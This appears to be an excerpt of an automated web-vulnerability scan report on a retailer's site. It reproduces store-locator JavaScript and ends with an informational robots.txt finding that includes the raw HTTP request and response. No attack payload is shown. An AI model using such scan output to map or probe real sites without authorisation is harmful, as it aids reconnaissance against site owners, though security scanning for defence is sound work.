Async.prototype.done = function(xmlObj){};

/**
* Instance method for Async - if you call this, none of the callback functions that you may have set
* will execute. It doesn't actually stop the pending HTTP request. (is there a way to do that?)
* @author Jason.Thorpe@target.com
*/
Async.prototype.cancel = function(){
   this.canceled = true;
};


/**
* Class for representing an address
* @author Jason.Thorpe@target.com
* @class
**/
function AddressVO(){
   this.street = "";
   this.city = "";
   this.state = "";
   this.zip = "";
}

/**
* Class for creating address objects
* @author Jason.Thorpe@target.com
* @class
**/
function AddressFactory()
{
}

/**
* Create an address object from an XML element
* @author Jason.Thorpe@target.com
**/
AddressFactory.createFromXML = function( xmlElement )
{
   var streetNode = xmlElement.getElementsByTagName("Street");
   var cityNode = xmlElement.getElementsByTagName("City");
   var stateNode = xmlEl
...[SNIP]...
street = streetNode[0].text;
   addr.city = cityNode[0].text;
   addr.state = stateNode[0].text;
   addr.zip = zipNode[0].text;
   return addr;
};

/**
* Class for creating all the hours of the week
* @author Jason.Thorpe@target.com
* @class
**/
function HoursFactory(){
}

/**
* Class method for HoursFactory - create a new HoursVO object with a given label.
* @author Jason.Thorpe@target.com
* @return HoursVO
**/
HoursFactory.makeHours = function(label){
   var hrs = new HoursVO();
   hrs.label = label;
   return hrs;
};

/**
* Class method for HoursFactory - Create all the days of the week as an array of HoursVO objects.
* @author Jason.Thorpe@target.com
* @return Array of HoursVO objects
**/
HoursFactory.createWeeklySchedule = function(){
   return new Array(
       this.makeHours("M-Fr")
       , this.makeHours("Sa")
       , this.makeHours("Su")
   );
};


/**
* Class for representing an address
* @author Jason.Thorpe@target.com
* @class
**/
function HoursVO(){
   this.open = "";
   this.closed = "";
   this.label = "";
   this.special = "";
}

/**
* Class for representing a store
* @author Jason.Thorpe@target.com
* @class
**/
function LocationVO(){
   this.lat = 0.0;
   this.lon = 0.0;
   this.id = "";
   this.name = "";
   this.hours = HoursFactory.createWeeklySchedule();
   this.alternateHours = "";
   this.distanceFromStart = 0;
   this.address = new AddressVO();
   this.concepts = new Array();
   this.phoneNumber = "";
}


/**
* Class for building formatted location detail text
* @author Jason.Thorpe@target.com
* @class
**/
function LocationFormatter(){
}

/**
* Instance function to output HTML for the popup window.
* @author Jason.Thorpe@target.com
* @param loc LocationVO
* @return String
**/
LocationFormatter.formatHTMLPopup = function( loc ){

   var txt = new StringBuffer();
   
   txt.append("<div class=\"closeButton\">
...[SNIP]...
</div>");
   txt.append();
   txt.append();
   return txt.toString();
};


/**
* Class for making concepts
* @author Jason.Thorpe@target.com
* @class
**/
function ConceptFactory(){
}

/**
* Class method for ConceptFactory - creates a ConceptVO object from an XML element.
* @author Jason.Thorpe@target.com
* @return ConceptVO;
**/
ConceptFactory.parseFromXml = function (xmlElement){
   var concept = new ConceptVO();
   var nameNodes = xmlElement.getElementsByTagName("Name");
   var hoursNodes = xmlElement.get
...[SNIP]...
es.length > 0 ) concept.hours = hoursNodes[0].text;
   if( phoneNodes.length > 0 ) concept.phoneNumber = phoneNodes[0].text;
   return concept;
};


/**
* Class for representing a store concept
* @author Jason.Thorpe@target.com
* @class
**/
function ConceptVO(){
   this.name = "";
   this.hours = "";
   this.phoneNumber = "";
}

/**
* Factory class for building location value objects from an XML chunk
* @author Jason.Thorpe@target.com
* @class
**/
function LocationFactory(){
}

/**
* Class method for LocationFactory - return a LocationVO given an xml element
* @author Jason.Thorpe@target.com
* @return LocationVO
**/
LocationFactory.parseFromXml = function(xmlElement){
   if( xmlElement ){
       var loc = new LocationVO();
       var conceptNodes = xmlElement.getElementsByTagName("Concept");
       var ad
...[SNIP]...
Factory.parseFromXml(conceptNodes[i]);
           loc.concepts.push(concept);
       }

       return loc;
   } else {
       return null;
   }
};


/**
* Application class - used to run the store locator application.
* @author Jason.Thorpe@target.com
* @class
**/
function TargetStoreLocator(){
   this.map = null;
   this.startingPoint = null;
   this.div = null;
   this.results = null;
   this.imageBasePath = null;
   this.asyncTasks = new Array();
   this.asyn
...[SNIP]...

   this.origFrom = "";
   this.neCorner = "";
   this.swCorner = "";
   this.popupUrl = "";
}

/**
* "Class" or static method for TargetStoreLocator - determine if the current browser is supported.
* @author Jason.Thorpe@target.com
* @returns boolean
**/
TargetStoreLocator.isSupported = function(){
   // for now, we assume if you can create an XMLHttp object, we're good to go
   // TODO: that asumption will need to be validated...
   
...[SNIP]...
initial zoom level
   iniZoomLevel = iniZoomLevelVal;

   //set the slider
   this.setZoomSliderOffset(iniZoomLevel);
}

/**
* Instance method for TargetStoreLocator - setup the initial map state
* @author Jason.Thorpe@target.com
* @returns void
**/
//TargetStoreLocator.prototype.initForReal = function( mapDiv, results, imageBasePath, throbberDiv, throbberMS, serviceURL, searchResultsDiv, swCorner, neCorner ){
TargetStoreLocat
...[SNIP]...
hrobber;
   LayerUtils.show(this.throbberDiv);

};

/**
* Instance method for TargetStoreLocator - call when a new async task is started, so we can keep an eye on it and show/hide the throbber
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.getDirections = function( to, storeAddress, storeNum, origTo, origFrom ){

   var refToMe = this;
   var delegate = function(route){refToMe.directionsRetur
...[SNIP]...
etStoreLocator","DD", this.endAtStore,"origFrom",this.origFrom,"origTo",this.origTo,this.storeAddress);
};

/**
* Instance method for TargetStoreLocator - store a history of the results HTML
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.cacheResultsDiv = function( ){
   this.resultsCache.push( DOMUtils.getElement( this.searchResultsDiv ).innerHTML );
};

/**
* Instance method for TargetStoreLocator - go back one step in the results history.
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.restoreResultsDiv = function(){

   //Flip the image from closest stores to driving directions
   LayerUtils.hide("sl_hd_copy_drivingdirections");
   LayerUt
...[SNIP]...
<' + '/script>")');
}


/**
* Instance method for TargetStoreLocator - call when a new async task is started, so we can keep an eye on it and show/hide the throbber
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.directionsReturned = function( route ){

//alert('start of directionsReturned');
//debugger;

   //change the mode to DD
   this.mode = "DD";

   this.clearS
...[SNIP]...
esultsDiv ).innerHTML = routeinfo.toString();
};

/**
* Instance method for TargetStoreLocator - call when a new async task is started, so we can keep an eye on it and show/hide the throbber
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.registerAsyncTask = function( async ){
   this.asyncTasks[ this.asyncTasks.length ] = async;
   this.startChecking();
};

/**
* Instance method for TargetStoreLocator - start checking for async status
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.startChecking = function( ){
   Log.info("Started async checking...");
   var refToMe = this;
   setTimeout( function(){refToMe.checkAsyncTasks();} ,this.asyncCheckMS);

   //adding this step to support popup windows for non-numbered hotspots
   popupVO.done = "no";
};

/**
* Instance method for TargetStoreLocator - start checking for async status
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.stopCheckingAndHideThrobber = function( ){
   Log.info("Stopped async checking...");
   LayerUtils.hide(this.throbberDiv);

   //adding this step to support popup windows for non-numbered hotspots

   popupVO.done = "yes";

};

/**
* Instance method for TargetStoreLocator - called every N seconds to see if the throbber should be shown/hidden
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.checkAsyncTasks = function(){
   var refToMe = this;
   var i = 0;
   var runningTasks = 0;
   var a = null;
   for( i = 0; i < this.asyncTasks.length; i++ ){
       
...[SNIP]...
asks();} ,this.asyncCheckMS);
   } else {
       this.stopCheckingAndHideThrobber();
   }
};

/**
* Instance method for TargetStoreLocator - get the stores near a point and call a function afterwards
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.getStoresNear = function( lat, lon, miles, filter, callback ){

   if( !lat || !lon ){
       throw new Error("lat and long must be defined!");
   }
   if( filter
...[SNIP]...
og.info("getStoresNear: " + url)
   async.call(url.toString() ,"POST");

};

/**
* Instance method for TargetStoreLocator - get the stores for the current map area and plot them using pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.refreshStores = function (){
   Log.info("Refresh Stores Called.");

   if(this.map._dm.veroutecache.length!=0){
       //In this case we don't want to do anyth
...[SNIP]...
ear( cen.Latitude, cen.Longitude, this.findRadius(), this.filter, delegate );
};

/**
* Instance method for TargetStoreLocator - callback for refreshStores - actually plot the pushpins, etc.
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.showStores = function(newRequest){


   Log.info("showStores callback update...");
   if( newRequest.status == 200 ){

       //if we're showing Driving Direct
...[SNIP]...
if (origLocs[i].id == storeId)
       {
           this.numStoreIndex = parseInt(i)+1;
           return true;
       }
   }
}

/**
* Instance method for TargetStoreLocator - if the store popup doesn't exist, create it
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.createStorePopup = function( loc ){
   var popName = "store" + loc.id + "popup";
   var container = DOMUtils.getElement("sl_sr_container");
   var storePop =
...[SNIP]...
tribute("id",popName);
       p.setAttribute("class","sqv_container");
       container.appendChild(p);
   }
};

/**
* Instance method for TargetStoreLocator - add a target pin given a LocationVO object
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.addNumberedStorePin = function( loc, number ){
   var lat = loc.lat;
   var lon = loc.lon;

   if (number != null) { //this is a numbered pin.
       var icon = t
...[SNIP]...
opup(evtx, evty, title, details, 'code');
}

   this.map.AddPushpin(pin);
   this.storePushpinIds.push(id);


};

/**
* Instance method for TargetStoreLocator - clear just the store pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.clearStores = function(){
   while( this.storePushpinIds && this.storePushpinIds.length > 0 ){
       this.map.DeletePushpin( this.storePushpinIds.pop() );
   }
};

/**
* Instance method for TargetStoreLocator - add a target pin given a LocationVO object
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.addStartingPointPin = function(){
   //var icon = this.imageBasePath + "/pin_start.gif";
   var icon = this.imageBasePath + "/direction_arrow_green_down.gi
...[SNIP]...
(dir == Directions.DOWN ){
       alert("right");
   } else {
       alert("unknown direction: " + dir);
   }

};

/**
* Instance method for TargetStoreLocator - find the appropriate radius for searching
* @author Jason.Thorpe@target.com
**/
TargetStoreLocator.prototype.findRadius = function(){
   // TODO: this really only needs to be calculated once
   // TODO: h and w should be dynamic...
   // mmmm.... Math - http://blogs.msdn.com/virtua
...[SNIP]...
endChild(DOMUtils.createElementWithText("p",loc.name));

   loc.myDiv = itemDiv;
   this.sidebarItems.push(loc);
};


/**
* Instance method for TargetStoreLocator - clear just the store pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.showRoadView = function( ){
   MM_swapImage('roadview','','/images/storelocator/sl_button_roadview_on.gif',1);
   MM_swapImage('aerialview','','/images/storelocator/sl_button_arialview_off.gif',1);
   this.map.SetMapStyle( VEMapStyle.Road );
};

/**
* Instance method for TargetStoreLocator - clear just the store pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.showAerialView = function( ){
   MM_swapImage('aerialview','','/images/storelocator/sl_button_arialview_on.gif',1);
   MM_swapImage('roadview','','/images/storelocator/sl_button_roadview_off.gif',1);
   this.map.SetMapStyle( VEMapStyle.Hybrid );
};


/**
* Instance method for TargetStoreLocator - clear just the store pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.startPanning = function( dir ){
   this.stopPanning();
   var refToMe = this;
   this.panVelocity = 5;
   this.panDirection = dir;
   this.isPanning = true;
   this.panInterval = setInterval( function(){refToMe.panCheck();} , 100 );
};

/**
* Instance method for TargetStoreLocator - clear just the store pushpins
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.panCheck = function(){
   if( this.isPanning == true && this.panDirection ){
       if( this.panDirection == "n" ){
           this.map.Pan(0,-1 * this.panVelocity);

...[SNIP]...
his.panVelocity = this.panVelocity + this.panAccel;
       this.panVelocity = Math.min(this.panVelocity, this.panMaxVelocity );
   }
};

/**
* Instance method for TargetStoreLocator - stop panning.
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.stopPanning = function(){
   if( this.isPanning == true ){
       clearInterval( this.panInterval );
       this.isPanning = false;

       this.refreshStores();
   }
};

...[SNIP]...
turn;
   }

   //set the zoom and slider controls
   zoomMap = "false";
   moveSlider = "true";

   this.map.ZoomOut();
};

/**
* Instance method for TargetStoreLocator - zoom to a certian zoom level.
* @author Jason.Thorpe@target.com
* @returns void
**/
TargetStoreLocator.prototype.zoomAndPanTo = function(lat,lon,lev){
   this.map.SetZoomLevel(lev);
   var ll = new VELatLong( lat, lon );
   this.map.PanToLatLong(ll);
};


TargetStoreLoc
...[SNIP]...
7. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://sites.target.com
Path:   /images/corporate/header/header_flashnav.swf

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: sites.target.com

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:48:31 GMT
Server: IBM_HTTP_Server
Last-Modified: Tue, 13 Apr 2010 21:14:05 GMT
ETag: "2055-1a-bdcf2140"
Accept-Ranges: bytes
Content-Length: 26
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:
Report generated by XSS.CX at Sun Aug 21 12:07:37 GMT-06:00 2011.